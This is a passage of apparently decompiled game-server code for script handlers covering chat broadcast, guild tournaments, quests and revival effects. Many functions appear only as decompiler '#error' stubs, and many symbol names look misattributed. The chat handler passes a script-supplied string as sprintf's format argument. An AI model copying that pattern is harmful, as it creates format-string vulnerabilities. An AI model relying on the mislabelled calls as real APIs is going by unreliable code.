ebx@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v9; // eax@1 const char *v10; // eax@3 unsigned int v11; // eax@3 const char *v12; // eax@5 MobTacticElement::MobActionBase *v13; // eax@8 PineEventScriptNode::ScriptAtomVtbl *v14; // edx@8 ShineScript *v15; // edi@10 char *v16; // eax@11 MobTacticElement::MobActionArgument *v17; // ebx@11 DiceTaiSai *v18; // edi@11 int v19; // ebp@11 MobTacticElement::MobActionArgument *v20; // eax@14 MobTacticElement::MobActionArgument *v21; // ST20_4@14 MobTacticElement::MobActionBase *v22; // eax@14 char *v23; // edi@17 int v24; // eax@17 char v25; // cl@18 int v26; // eax@19 Movie::Theater *v27; // ecx@21 unsigned __int16 result; // ax@24 char *v29; // [sp-4h] [bp-93Ch]@7 signed int v30; // [sp+10h] [bp-928h]@11 signed __int16 mobid; // [sp+14h] [bp-924h]@3 AxialListPacketBroadcast alchat; // [sp+18h] [bp-920h]@21 FunctionEntarance _; // [sp+24h] [bp-914h]@1 PineScriptToken mobindex; // [sp+28h] [bp-910h]@1 PineScriptToken chat; // [sp+128h] [bp-810h]@8 PineScriptToken tkn[7]; // [sp+228h] [bp-710h]@11 unsigned int v37; // [sp+928h] [bp-10h]@24 int v38; // [sp+934h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineChatWindow::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineChatWindow::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineChatWindow::sa_Step"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v38 = 0; v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineChatWindow : "); PineScriptToken::pst_Clear(&mobindex); v9 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v38) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->sa_Calculate)(&mobindex, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindow::sa_Step", 0); LABEL_7: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v38) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); v29 = "PineEventScriptNode::ShineChatWindow::sa_Step"; LABEL_23: v38 = v5; goto LABEL_24; } MoveManager::MoveManager((DiceTaiSai *)&mobindex); v11 = BTree::operator__(&mobdatabox.mdb_btree, v10); mobid = -1; if ( v11 != -1 ) mobid = v11; MoveManager::MoveManager((DiceTaiSai *)&mobindex); if ( mobid == -1 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindow::sa_Step : no mob", v12); goto LABEL_7; } v13 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&mobindex); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v13, &stru_5A4E3C); PineScriptToken::pst_Clear(&chat); v14 = v4->baseclass_0.os_Express[1]->baseclass_0.vfptr; LOBYTE(v38) = 2; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v14->sa_Calculate)(&chat, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindow::sa_Step", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v38) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v38) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); v29 = "PineEventScriptNode::ShineChatWindow::sa_Step"; goto LABEL_23; } v15 = *(ShineScript **)&ps->gap10114[28]; if ( !v15 ) { LABEL_22: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v38) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v38) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); v29 = "PineEventScriptNode::ShineChatWindow::sa_Step"; goto LABEL_23; } MoveManager::MoveManager((DiceTaiSai *)&chat); v17 = (MobTacticElement::MobActionArgument *)ShineScript::ss_String(v15, v16); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, v17); _eh_vector_constructor_iterator_( tkn, 0x100u, 7, (void (__thiscall *)(void *))PineScriptToken::pst_Clear, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); LOBYTE(v38) = 3; v18 = (DiceTaiSai *)tkn; v19 = (int)&v4->baseclass_0.os_Express[2]; v30 = 7; do { if ( *(_DWORD *)v19 && (*(int (__stdcall **)(DiceTaiSai *, PineScriptStack::ProcessStack *))(**(_DWORD **)v19 + 8))(v18, ps) ) { MoveManager::MoveManager(v18); v21 = v20; v22 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_5A4E3C); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v22, v21); } else { PineScriptToken::pst_Clear((PineScriptToken *)v18); } v19 += 4; v18 = (DiceTaiSai *)((char *)v18 + 256); --v30; } while ( v30 ); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &trc_eol); v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27660; *((_WORD *)v23 + 1) = mobid; MoveManager::MoveManager((DiceTaiSai *)&tkn[6]); MoveManager::MoveManager((DiceTaiSai *)&tkn[5]); MoveManager::MoveManager((DiceTaiSai *)&tkn[4]); MoveManager::MoveManager((DiceTaiSai *)&tkn[3]); MoveManager::MoveManager((DiceTaiSai *)&tkn[2]); MoveManager::MoveManager((DiceTaiSai *)&tkn[1]); MoveManager::MoveManager((DiceTaiSai *)tkn); sprintf(v23 + 5, (const char *)v17); v24 = (int)(v23 + 5); do v25 = *(_BYTE *)v24++; while ( v25 ); v26 = v24 - (_DWORD)(v23 + 6); if ( v26 < 256 ) { v23[4] = v26; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, (unsigned __int8)v26 + 5); v27 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v38) = 4; Movie::Theater::t_AllInMap(v27, &alchat.baseclass_0); LOBYTE(v38) = 3; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); LOBYTE(v38) = 2; _eh_vector_destructor_iterator_( tkn, 0x100u, 7, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v5 = -1; goto LABEL_22; } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v38) = 2; _eh_vector_destructor_iterator_( tkn, 0x100u, 7, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); LOBYTE(v38) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v38) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); v38 = -1; v29 = "PineEventScriptNode::ShineChatWindow::sa_Step"; LABEL_24: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v29); __security_check_cookie(v37); return result; } //----- (004BB270) -------------------------------------------------------- #error "4BB270: undefined or illegal type '#325' (funcsize=337)" //----- (004BB7B0) -------------------------------------------------------- #error "4BB7B0: undefined or illegal type '#325' (funcsize=176)" //----- (004BBA80) -------------------------------------------------------- #error "4BBA80: undefined or illegal type '#325' (funcsize=39)" //----- (004BBB30) -------------------------------------------------------- #error "4BBB30: undefined or illegal type '#325' (funcsize=61)" //----- (004BBC30) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step(PineEventScriptNode::ShineEndOfKingdomQuest *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { MobTacticElement::MobActionBase *v4; // eax@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 int v8; // eax@1 unsigned int v9; // edi@2 void *v10; // ecx@6 unsigned __int16 v11; // ax@8 unsigned __int16 v12; // si@8 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v5 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v4, (MobTacticElement::MobActionArgument *)exechandle); v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v5, &stru_5A8D60); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, "ShineEndOfKingdomQuest"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &trc_eol); v8 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v8 ) v9 = *(_DWORD *)(v8 + 60); else v9 = -1; if ( v9 == -1 ) AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step : Invalid Shine Quest", 0); WorldManagerSession::wms_EndOfKQPacket(&stru_12571CFC, v9); v10 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v10 ) FieldMap::fm_ClearObject(v10, 0xB0u); v11 = PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v12 = v11; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step"); return v12; } //----- (004BBD70) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfGuildTournament::sa_Step(PineEventScriptNode::ShineEndOfGuildTournament *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineEndOfGuildTournament *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // edx@1 int v6; // eax@1 int v7; // eax@2 int v8; // ebp@4 void *v9; // ecx@4 int v10; // edi@6 void *v11; // ecx@6 unsigned __int16 result; // ax@9 int v13; // [sp+0h] [bp-130h]@1 int winner; // [sp+14h] [bp-11Ch]@2 PineScriptToken tkn; // [sp+20h] [bp-110h]@1 unsigned int v16; // [sp+120h] [bp-10h]@9 int v17; // [sp+12Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfGuildTournament::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineEndOfGuildTournament::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; PineScriptToken::pst_Clear(&tkn); v5 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v17) = 1; v6 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)(&tkn, ps); v13 = 0; if ( v6 != 0 && (winner = PineScriptToken::pst_GetNumber(&tkn, 0), v7 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps), v13 = 0, v7 != 0) ) { v8 = PineScriptToken::pst_GetNumber(&tkn, 0); v9 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v9 ) FieldMap::fm_ClearObject(v9, 0xB0u); v10 = *(_DWORD *)&ps->gap10114[4]; v11 = *(void **)(v10 + 77280); if ( v11 ) { FieldMap::fm_GuildTournamentEnd(v11, winner, v8); FieldMap::fm_GuildTournamentClear(*(_DWORD *)(v10 + 77280)); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v17 = -1; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindowRange::sa_Step", v13); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v17 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfGuildTournament::sa_Step"); __security_check_cookie(v16); return result; } //----- (004BBF20) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineGuildTorunamentResult::sa_Step(PineEventScriptNode::ShineGuildTorunamentResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineGuildTorunamentResult *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // eax@1 MobTacticElement::MobActionBase *v10; // eax@3 MobTacticElement::MobActionBase *v11; // eax@3 int v12; // ebp@3 PineScriptToken *v13; // eax@3 PineScriptToken *v14; // eax@3 void *v15; // ecx@4 AxialListMobKillLog *v16; // ecx@5 PineScriptToken *v17; // eax@7 PineScriptToken *v18; // eax@7 int v19; // eax@8 int v20; // eax@10 char *v21; // edi@10 void *v22; // eax@10 void *v23; // ebp@10 int v24; // eax@12 __int16 v25; // ax@12 int v26; // ecx@12 __int16 v27; // dx@12 Movie::Theater *v28; // ecx@13 Movie::Theater *v29; // ecx@14 unsigned __int16 result; // ax@17 char *v31; // [sp-4h] [bp-14Ch]@2 AxialListGTEnd alps; // [sp+10h] [bp-138h]@12 AxialListPacketBroadcast alchat; // [sp+20h] [bp-128h]@4 int v34; // [sp+2Ch] [bp-11Ch]@4 int v35; // [sp+30h] [bp-118h]@1 FunctionEntarance _; // [sp+34h] [bp-114h]@1 PineScriptToken tkn; // [sp+38h] [bp-110h]@1 unsigned int v38; // [sp+138h] [bp-10h]@17 int v39; // [sp+144h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v39 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineGuildTorunamentResult"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v39) = 1; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps); v35 = v9 != 0; if ( v9 != 0 ) { v10 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_5A4E3C); v11 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v10, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v11, &trc_eol); v12 = PineScriptToken::pst_GetNumber(&tkn, 0); v13 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v14 = PineScriptToken::pst_ToLower(v13); if ( PineScriptToken::operator__(v14, index_suc.pst_Buffer) ) { AxialListProtocolSend::AxialListProtocolSend((AxialListProtocolSend *)&alchat, 22, 18); alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; v34 = v12; v15 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v39) = 2; if ( v15 ) { ShineObjectClass::ShineObject::so_AllInMap(v15, (int)&alchat, 0); alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; v16 = (AxialListMobKillLog *)&alchat; } else { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; v16 = (AxialListMobKillLog *)&alchat; } } else { v17 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v18 = PineScriptToken::pst_ToLower(v17); if ( PineScriptToken::operator__(v18, index_Result.pst_Buffer) ) { v19 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v35 = v19 != 0; if ( v19 != 0 ) { v20 = PineScriptToken::pst_GetNumber(&tkn, 0); v21 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29922; *(_DWORD *)(v21 + 2) = v12; *(_DWORD *)(v21 + 6) = v20; v22 = (void *)Movie::Theater::GetFieldMap(*(Movie::Theater **)&ps->gap10114[4]); v23 = v22; if ( v22 && FieldMap::fm_GetGuildTournamentSystem(v22) ) { v24 = FieldMap::fm_GetGuildTournamentSystem(v23); GuildTournamentSystem::EndBattle((GuildTournamentSystem *)v24, (tGuildTournamentResult *)&alps); v25 = LOWORD(alps.baseclass_0.alps_department); v26 = alps.baseclass_0.alps_command; *(_DWORD *)(v21 + 10) = alps.baseclass_0.baseclass_0.vfptr; v27 = LOWORD(alps.algte_Guild); *((_WORD *)v21 + 7) = v25; *((_DWORD *)v21 + 4) = v26; *((_WORD *)v21 + 10) = v27; } AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 22); v28 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v39) = 3; Movie::Theater::t_AllInMap(v28, &alchat.baseclass_0); LOBYTE(v39) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no skip", 0); } goto LABEL_16; } AxialListProtocolSend::AxialListProtocolSend(&alps.baseclass_0, 22, 19); alps.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; alps.algte_Guild = v12; v29 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v39) = 4; Movie::Theater::t_AllInMap(v29, &alps.baseclass_0.baseclass_0); alps.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; v16 = (AxialListMobKillLog *)&alps; } LOBYTE(v39) = 1; AxialListWall::_AxialListWall(v16); LABEL_16: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v39) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v39 = -1; v31 = "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"; goto LABEL_17; } AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no skip", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v39) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v39 = -1; v31 = "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v31); __security_check_cookie(v38); return result; } // 5BF7EC: using guessed type int (__thiscall *AxialListGTEnd___vftable_)(AxialListProtocolSend *this, #325 *, #325 *, int distancesquar); //----- (004BC2A0) -------------------------------------------------------- #error "4BC2A0: undefined or illegal type '#325' (funcsize=194)" //----- (004BC590) -------------------------------------------------------- #error "4BC590: undefined or illegal type '#325' (funcsize=177)" //----- (004BC850) -------------------------------------------------------- #error "4BC850: undefined or illegal type '#325' (funcsize=111)" //----- (004BCA10) -------------------------------------------------------- #error "4BCA10: undefined or illegal type '#325' (funcsize=104)" //----- (004BCB90) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineBriefEffect::sa_Step(PineEventScriptNode::ShineBriefEffect *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineBriefEffect *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // edx@1 char *v6; // ebp@3 PineScriptToken *v7; // eax@3 PineScriptToken *v8; // eax@3 void *v9; // ecx@4 unsigned __int16 result; // ax@9 char *v11; // [sp-4h] [bp-134h]@2 AxialListPacketBroadcast alpb; // [sp+10h] [bp-120h]@4 FunctionEntarance _; // [sp+1Ch] [bp-114h]@1 PineScriptToken tkn; // [sp+20h] [bp-110h]@1 unsigned int v15; // [sp+120h] [bp-10h]@9 int v16; // [sp+12Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineBriefEffect::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineBriefEffect::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineBriefEffect::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; PineScriptToken::pst_Clear(&tkn); v5 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v16) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)(&tkn, ps) != 0 ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27664; v6[2] = PineScriptToken::pst_GetNumber(&tkn, 0); v7 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v8 = PineScriptToken::pst_ToLower(v7); if ( PineScriptToken::operator__(v8, index_all.pst_Buffer) ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alpb, &gpp, 3); v9 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v16) = 2; if ( v9 ) ShineObjectClass::ShineObject::so_AllInMap(v9, (int)&alpb, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v16) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alpb); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v16) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v11 = "PineEventScriptNode::ShineBriefEffect::sa_Step"; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindPlayer::sa_Step : no part", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v16) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v11 = "PineEventScriptNode::ShineBriefEffect::sa_Step"; } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); __security_check_cookie(v15); return result; } //----- (004BCD60) -------------------------------------------------------- #error "4BCD60: undefined or illegal type '#325' (funcsize=63)" //----- (004BCE40) -------------------------------------------------------- #error "4BCE40: undefined or illegal type '#325' (funcsize=36)" //----- (004BCEF0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineRevival::sa_Step(PineEventScriptNode::ShineRevival *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { void *v4; // ecx@1 unsigned __int16 v5; // ax@4 unsigned __int16 v6; // si@4 AxialListRevival Alr; // [sp+8h] [bp-14h]@1 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v10; // [sp+18h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::ShineRevival::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineRevival::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineRevival::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; AxialListIterator::AxialListIterator(&Alr.baseclass_0); Alr.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListRevival::_vftable_; v4 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v10) = 1; if ( v4 ) ShineObjectClass::ShineObject::so_AllInMap(v4, (int)&Alr, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); v5 = PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v10) = 0; Alr.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListRevival::_vftable_; v6 = v5; AxialListWall::_AxialListWall((AxialListMobKillLog *)&Alr); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineRevival::sa_Step"); return v6; } // 5BF7F4: using guessed type int (__stdcall *AxialListRevival___vftable_)(int, int, int distancesquar); //----- (004BCFF0) -------------------------------------------------------- #error "4BCFF0: undefined or illegal type '#325' (funcsize=121)" //----- (004BD1C0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ClearSaveLinkto::sa_Step(PineEventScriptNode::ClearSaveLinkto *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { Movie::Theater *v4; // ecx@1 void *v5; // eax@1 NPCManager::LinkInformTemplete LinkInfo; // [sp+4h] [bp-78h]@1 unsigned int v8; // [sp+6Ch] [bp-10h]@1 int v9; // [sp+78h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ClearSaveLinkto::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ClearSaveLinkto::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memset(&LinkInfo, 0, 0x64u); v4 = *(Movie::Theater **)&ps->gap10114[4]; v9 = 0; LinkInfo.Party = 0; v5 = (void *)Movie::Theater::GetFieldMap(v4); FieldMap::fm_SetSaveLinktoData(v5, &LinkInfo); PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ClearSaveLinkto::sa_Step"); __security_check_cookie(v8); return (unsigned __int16)v5; } //----- (004BD2A0) -------------------------------------------------------- #error "4BD2A0: undefined or illegal type '#325' (funcsize=123)" //----- (004BD480) -------------------------------------------------------- #error "4BD480: undefined or illegal type '#325' (funcsize=222)" //----- (004BD7F0) -------------------------------------------------------- #error "4BD7F0: undefined or illegal type '#325' (funcsize=244)" //----- (004BDBF0) -------------------------------------------------------- #error "4BDBF0: undefined or illegal type '#585' (funcsize=110)" //----- (004BDDB0) -------------------------------------------------------- #error "4BDDB0: undefined or illegal type '#325' (funcsize=133)" //----- (004BDFB0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "RegisterGTPortal", 0, 4, 4); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::RegisterGTPortal::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5BF918: using guessed type int (__stdcall *PineEventScriptNode__RegisterGTPortal___vftable_)(int tr); //----- (004BE010) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); 